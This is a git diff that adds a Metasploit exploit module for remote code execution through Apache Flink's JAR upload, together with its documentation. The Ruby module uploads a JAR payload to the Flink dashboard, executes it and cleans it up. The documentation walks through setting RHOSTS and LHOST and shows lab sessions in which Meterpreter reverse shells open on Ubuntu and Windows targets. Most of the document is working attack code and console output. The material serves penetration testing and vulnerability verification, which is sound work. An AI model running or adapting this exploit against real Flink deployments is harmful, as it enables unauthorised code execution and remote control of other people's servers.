diff --git a/documentation/modules/exploit/multi/http/apache_flink_jar_upload_exec.rb b/documentation/modules/exploit/multi/http/apache_flink_jar_upload_exec.rb new file mode 100644 index 0000000000..eea6baf80c --- /dev/null +++ b/documentation/modules/exploit/multi/http/apache_flink_jar_upload_exec.rb @@ -0,0 +1,98 @@ +## Vulnerable Application + +This module uses job functionality in [Apache Flink](https://flink.apache.org) +dashboard web interface to upload and execute a JAR file, +leading to remote execution of arbitrary Java code as the web server user. + +This module has been tested successfully on Apache Flink versions: + +* 1.9.3 on Ubuntu 18.04.4; +* 1.11.2 on Ubuntu 18.04.4; +* 1.9.3 on Windows 10; and +* 1.11.2 on Windows 10. + +## Verification Steps + +```sh +wget 'https://archive.apache.org/dist/flink/flink-1.11.2/flink-1.11.2-bin-scala_2.11.tgz' +tar zxvf flink-1.11.2-bin-scala_2.11.tgz +cd flink-1.11.2/ +./bin/start-cluster.sh +``` + +Metasploit: + +1. `./msfconsole` +1. `use exploit/multi/http/apache_flink_jar_upload_exec` +1. `set rhosts ` +1. `run` + +## Scenarios + +### Apache Flink version 1.9.3 on Ubuntu 18.04.4 + +``` +msf6 > use exploit/multi/http/apache_flink_jar_upload_exec +[*] No payload configured, defaulting to java/meterpreter/reverse_tcp +msf6 exploit(multi/http/apache_flink_jar_upload_exec) > set rhosts 172.16.191.194 +rhosts => 172.16.191.194 +msf6 exploit(multi/http/apache_flink_jar_upload_exec) > check +[*] 172.16.191.194:8081 - The target appears to be vulnerable. Apache Flink version 1.9.3. +msf6 exploit(multi/http/apache_flink_jar_upload_exec) > set lhost 172.16.191.192 +lhost => 172.16.191.192 +msf6 exploit(multi/http/apache_flink_jar_upload_exec) > run + +[*] Started reverse TCP handler on 172.16.191.192:4444 +[*] Executing automatic check (disable AutoCheck to override) +[+] The target appears to be vulnerable. Apache Flink version 1.9.3. +[*] Uploading JAR payload 'bxAGPHOcppvL.jar' (5309 bytes) ... +[*] Retrieving list of avialable JAR files ... +[+] Found uploaded JAR file 'b4222291-a682-4788-9d43-44ebe5b18426_bxAGPHOcppvL.jar' +[*] Executing JAR payload 'b4222291-a682-4788-9d43-44ebe5b18426_bxAGPHOcppvL.jar' entry class 'metasploit.Payload' ... +[*] Sending stage (58147 bytes) to 172.16.191.194 +[*] Meterpreter session 1 opened (172.16.191.192:4444 -> 172.16.191.194:38326) at 2021-02-18 07:19:58 -0500 +[*] Removing JAR file 'b4222291-a682-4788-9d43-44ebe5b18426_bxAGPHOcppvL.jar' ... + +meterpreter > getuid +Server username: user +meterpreter > sysinfo +Computer : linux-18-04-04-amd64 +OS : Linux 5.3.0-40-generic (amd64) +Meterpreter : java/linux +meterpreter > +``` + +### Apache Flink version 1.11.2 on Windows 10 + +``` +msf6 > use exploit/multi/http/apache_flink_jar_upload_exec +[*] No payload configured, defaulting to java/meterpreter/reverse_tcp +msf6 exploit(multi/http/apache_flink_jar_upload_exec) > set rhosts 172.16.191.193 +rhosts => 172.16.191.193 +msf6 exploit(multi/http/apache_flink_jar_upload_exec) > check +[*] 172.16.191.193:8081 - The target appears to be vulnerable. Apache Flink version 1.11.2. +msf6 exploit(multi/http/apache_flink_jar_upload_exec) > set lhost 172.16.191.192 +lhost => 172.16.191.192 +msf6 exploit(multi/http/apache_flink_jar_upload_exec) > run + +[*] Started reverse TCP handler on 172.16.191.192:4444 +[*] Executing automatic check (disable AutoCheck to override) +[+] The target appears to be vulnerable. Apache Flink version 1.11.2. +[*] Uploading JAR payload 'JhnJgOxev.jar' (5309 bytes) ... +[*] Retrieving list of avialable JAR files ... +[+] Found uploaded JAR file '67c7fb3f-81a0-4518-a67c-e375ae5f2d03_JhnJgOxev.jar' +[*] Executing JAR payload '67c7fb3f-81a0-4518-a67c-e375ae5f2d03_JhnJgOxev.jar' entry class 'metasploit.Payload' ... +[*] Sending stage (58147 bytes) to 172.16.191.193 +[*] Meterpreter session 1 opened (172.16.191.192:4444 -> 172.16.191.193:51105) at 2021-02-18 07:18:02 -0500 +[*] Removing JAR file '67c7fb3f-81a0-4518-a67c-e375ae5f2d03_JhnJgOxev.jar' ... +[!] Cleanup failed. Could not remove JAR file '67c7fb3f-81a0-4518-a67c-e375ae5f2d03_JhnJgOxev.jar' + +meterpreter > getuid +Server username: User +meterpreter > sysinfo +Computer : WinDev1710Eval +OS : Windows 10 10.0 (amd64) +Meterpreter : java/windows +meterpreter > +``` + diff --git a/modules/exploits/multi/http/apache_flink_jar_upload_exec.rb b/modules/exploits/multi/http/apache_flink_jar_upload_exec.rb new file mode 100644 index 0000000000..1a3b81e883 --- /dev/null +++ b/modules/exploits/multi/http/apache_flink_jar_upload_exec.rb @@ -0,0 +1,203 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Apache Flink JAR Upload Java Code Execution', + 'Description' => %q{ + This module uses job functionality in Apache Flink dashboard web + interface to upload and execute a JAR file, leading to remote + execution of arbitrary Java code as the web server user. + + This module has been tested successfully on Apache Flink versions: + 1.9.3 on Ubuntu 18.04.4; + 1.11.2 on Ubuntu 18.04.4; + 1.9.3 on Windows 10; and + 1.11.2 on Windows 10. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Henry Chen', # Initial technique demonstration and writeup + 'bigger.wing', # Python exploit + 'bcoles' # Metasploit module + ], + 'References' => + [ + ['EDB', '48978'], + ['PACKETSTORM', '159779'], + ['URL', 'https://github.com/biggerwing/apache-flink-unauthorized-upload-rce-'], + ['URL', 'https://s.tencent.com/research/bsafe/841.html'], + ['URL', 'https://cloud.tencent.com/developer/article/1540439'], + ['URL', 'https://nsfocusglobal.com/advisory-apache-flink-remote-code-execution-vulnerability/'], + ], + 'Platform' => 'java', + 'Arch' => [ARCH_JAVA], + 'Targets' => + [ + ['Automatic', {}] + ], + 'Privileged' => false, + 'DisclosureDate' => '2019-11-13', + 'DefaultTarget' => 0, + 'Notes' => + { + 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS], + 'Stability' => [ CRASH_SAFE ], + 'Reliability' => [ REPEATABLE_SESSION] + } + ) + ) + + register_options([ + Opt::RPORT(8081) + ]) + end + + def check + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'config') + }) + + unless res + return CheckCode::Unknown('No reply.') + end + + unless res.body.include?('flink') + return CheckCode::Safe('Target is not Apache Flink.') + end + + version = res.get_json_document['flink-version'] + if version + return CheckCode::Appears("Apache Flink version #{version}.") + end + + CheckCode::Appears + end + + def delete_jar(filename) + send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'jars', filename), + 'method' => 'DELETE', + 'ctype' => 'application/json;charset=UTF-8' + ) + end + + def list_jars + send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'jars'), + 'method' => 'GET' + ) + end + + def upload_jar(filename, data) + post_data = Rex::MIME::Message.new + post_data.add_part(data, 'application/x-java-archive', 'binary', "form-data; name=\"jarfile\"; filename=\"#{filename}\"") + send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'jars', 'upload'), + 'method' => 'POST', + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", + 'data' => post_data.to_s + ) + end + + def run_jar(filename, entry_class) + send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'jars', filename, 'run'), + 'method' => 'POST', + 'ctype' => 'application/json;charset=UTF-8', + 'vars_get' => { + 'entry-class' => entry_class + }, + 'data' => { + entryClass: entry_class, + parallelism: nil, + programArgs: nil, + savepointPath: nil, + allowNonRestoredState: nil + }.to_json + ) + end + + def cleanup + return unless @jar + + print_status("Removing JAR file '#{@jar}' ...") + + res = delete_jar(@jar) + + unless res && res.code == 200 + print_warning("Cleanup failed. Could not remove JAR file '#{@jar}'") + end + end + + def exploit + data = generate_payload.encoded_jar.pack + fail_with(Failure::Unknown, 'Failed to generate the JAR payload.') unless data + + filename = "#{rand_text_alpha(8..12)}.jar" + + print_status("Uploading JAR payload '#{filename}' (#{data.length} bytes) ...") + + res = upload_jar(filename, data) + + unless res + fail_with(Failure::Unreachable, 'JAR upload failed. No reply.') + end + + unless res.code == 200 + fail_with(Failure::UnexpectedReply, "JAR upload failed. Unexpected reply (HTTP #{res.code}).") + end + + unless res.get_json_document['status'] == 'success' + fail_with(Failure::UnexpectedReply, 'JAR upload failed. Unexpected reply.') + end + + print_status('Retrieving list of avialable JAR files ...') + + res = list_jars + + unless res + fail_with(Failure::Unreachable, 'Could not list available JARs. No reply.') + end + + unless res.code == 200 + fail_with(Failure::UnexpectedReply, "Could not list available JARs. Unexpected reply (HTTP #{res.code}).") + end + + jars = res.get_json_document['files'] + + if jars.blank? + fail_with(Failure::UnexpectedReply, 'Could not list available JARs. No JAR files available.') + end + + jars.each do |jar| + if jar['name'] == filename + @jar = jar['id'] + break + end + end + + unless @jar + fail_with(Failure::UnexpectedReply, 'Could not retrieve JAR file name.') + end + + print_good("Found uploaded JAR file '#{@jar}'") + + entry_class = 'metasploit.Payload' + print_status("Executing JAR payload '#{@jar}' entry class '#{entry_class}' ...") + + run_jar(@jar, entry_class) + end +end